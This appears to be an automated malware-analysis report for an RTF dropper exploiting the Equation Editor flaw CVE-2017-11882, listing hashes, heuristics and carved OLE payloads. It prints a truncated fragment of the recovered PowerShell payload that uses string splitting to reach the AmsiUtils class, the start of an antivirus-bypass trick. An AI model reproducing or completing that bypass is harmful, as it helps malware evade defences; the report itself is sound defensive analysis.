Rtf.Dropper.Agent-9965975-1 — RTF malware analysis

Static analysis result for SHA-256 47a0ae87292eb2c4…

MALICIOUS

RTF

1.79 MB First seen: 2021-07-02
MD5: 2b5b6c7442b283a5cc77db2ccd97d8fb SHA-1: 2d1e8ce722544a9a7d8bf6074e352ecbd220223d SHA-256: 47a0ae87292eb2c4de6dd46f019f2761ad8010d110f022250fab8c14240432c5
340 Risk Score

Malware Insights

Rtf.Dropper.Agent-9965975-1 · confidence 95%

MITRE ATT&CK
T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

The RTF file contains multiple indicators of malicious activity, including OLE object data and specific heuristics pointing to CVE-2017-11882 exploitation. The presence of a PE header within hex data and ClamAV detection as Rtf.Dropper.Agent-9965975-1 strongly suggests this file acts as a dropper. The embedded OLE objects, objdata_00_off000011e1.bin and objdata_01_off000373d1.bin, are likely the payloads.

Heuristics 8

  • Split hex Equation Editor ProgID + OLE object critical CVE likely RTF_EQUATION_EDITOR
    RTF embeds the Equation.3 ProgID as hex bytes near OLE object activation and splits the byte stream with whitespace or an ignorable RTF group. This is an Equation Editor OLE activation surface commonly used by CVE-2017-11882 / CVE-2018-0802 exploit documents.
  • Equation Editor activation — CVE-2017-11882 related high CVE related CVE_2017_11882_ACTIVATION_RELATED
    RTF decodes to an Equation.3 ProgID and requests OLE activation with \objemb plus \objupdate. This reaches the legacy Equation Editor attack surface used by CVE-2017-11882/CVE-2018-0802 documents, but the malformed MTEF/native payload needed for stronger attribution was not recovered.
  • ClamAV: Rtf.Dropper.Agent-9965975-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Rtf.Dropper.Agent-9965975-1
  • PE header (with DOS stub) in hex data critical RTF_MZ_HEX
    Hex-encoded PE (MZ + DOS stub) found inside RTF — likely an embedded executable payload
  • \objupdate forces OLE activation high RTF_OBJUPDATE
    RTF contains \objupdate — forces automatic OLE object instantiation when the document is opened, bypassing user interaction. Almost exclusively seen in Equation Editor exploit documents.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • OLE object data medium RTF_OBJDATA
    RTF contains 2 \objdata section(s) — embedded OLE objects
  • Embedded OLE object medium RTF_OBJEMB
    RTF contains \objemb — embedded OLE object

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
objdata_00_off000011e1.bin rtf-objdata-decoded RTF \objdata at offset 0x11E1 69071 bytes
SHA-256: c1ee035898f64e66b58b61b1c6a227583598a823f25f57394c4cfe1adf8188fb
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C, cmdln
objdata_01_off000373d1.bin rtf-objdata-decoded RTF \objdata at offset 0x373D1 421929 bytes
SHA-256: de6f28a3eccb43d9de9d2476d94053e869f62216eb93f5fe8bb53d08da537b2c

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